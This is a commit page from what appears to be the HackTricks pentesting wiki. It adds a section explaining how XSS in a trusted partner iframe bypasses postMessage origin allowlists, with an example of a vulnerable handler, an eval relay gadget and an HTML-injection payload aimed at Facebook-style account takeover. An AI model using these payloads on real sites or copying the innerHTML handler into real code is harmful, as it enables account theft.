Skip to content

Commit ff7c104

Browse files
authored
Merge pull request #1768 from HackTricks-wiki/update_Self_XSS_Facebook_Payments_20260116_183835
Self XSS Facebook Payments
2 parents 878a505 + f764fc9 commit ff7c104

1 file changed

Lines changed: 38 additions & 0 deletions

File tree

  • src/pentesting-web/postmessage-vulnerabilities

src/pentesting-web/postmessage-vulnerabilities/README.md

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -247,6 +247,43 @@ For **more information**:
247247
- Link to page about [**XSS**](../xss-cross-site-scripting/index.html)
248248
- Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
249249

250+
### Trusted-origin allowlist isn't a boundary
251+
252+
A strict `event.origin` check only works if the **trusted origin cannot run attacker JS**. When privileged pages embed third-party iframes and assume `event.origin === "https://partner.com"` is safe, any XSS in `partner.com` becomes a bridge into the parent:
253+
254+
```javascript
255+
// Parent (trusted page)
256+
window.addEventListener("message", (e) => {
257+
if (e.origin !== "https://partner.com") return
258+
const [type, html] = e.data.split("|")
259+
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
260+
})
261+
```
262+
263+
Attack pattern observed in the wild:
264+
265+
1. **Exploit XSS in the partner iframe** and drop a relay gadget so any `postMessage` becomes code exec inside the trusted origin:
266+
267+
```html
268+
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
269+
```
270+
271+
2. **From the attacker page**, send JS to the compromised iframe that forwards an allowed message type back to the parent. The message originates from `partner.com`, passes the allowlist, and carries HTML that is inserted unsafely:
272+
273+
```javascript
274+
postMessage({
275+
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
276+
}, "*")
277+
```
278+
279+
3. The parent injects the attacker HTML, giving **JS execution in the parent origin** (e.g., `facebook.com`), which can then be used to steal OAuth codes or pivot to full account takeover flows.
280+
281+
Key takeaways:
282+
283+
- **Partner origin isn't a boundary**: any XSS in a "trusted" partner lets attackers send allowed messages that bypass `event.origin` checks.
284+
- Handlers that **render partner-controlled payloads** (e.g., `innerHTML` on specific message types) make partner compromise a same-origin DOM XSS.
285+
- A wide **message surface** (many types, no structure validation) gives more gadgets for pivoting once a partner iframe is compromised.
286+
250287
### Predicting **`Math.random()`** callback tokens in postMessage bridges
251288

252289
When message validation uses a “shared secret” generated with `Math.random()` (e.g., `guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }`) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:
@@ -277,6 +314,7 @@ iframe.location = fbMsg // sends postMessage from facebook.com with forged callb
277314
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
278315
- [Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO](https://ysamm.com/uncategorized/2026/01/16/leaking-fbevents-ato.html)
279316
- To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
317+
- [Self XSS Facebook Payments](https://ysamm.com/uncategorized/2026/01/15/self-xss-facebook-payments.html)
280318
- [Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup](https://ysamm.com/uncategorized/2026/01/17/math-random-facebook-sdk.html)
281319
- [V8 Math.random() state recovery (Z3 predictor)](https://github.com/PwnFunction/v8-randomness-predictor)
282320

0 commit comments

Comments
 (0)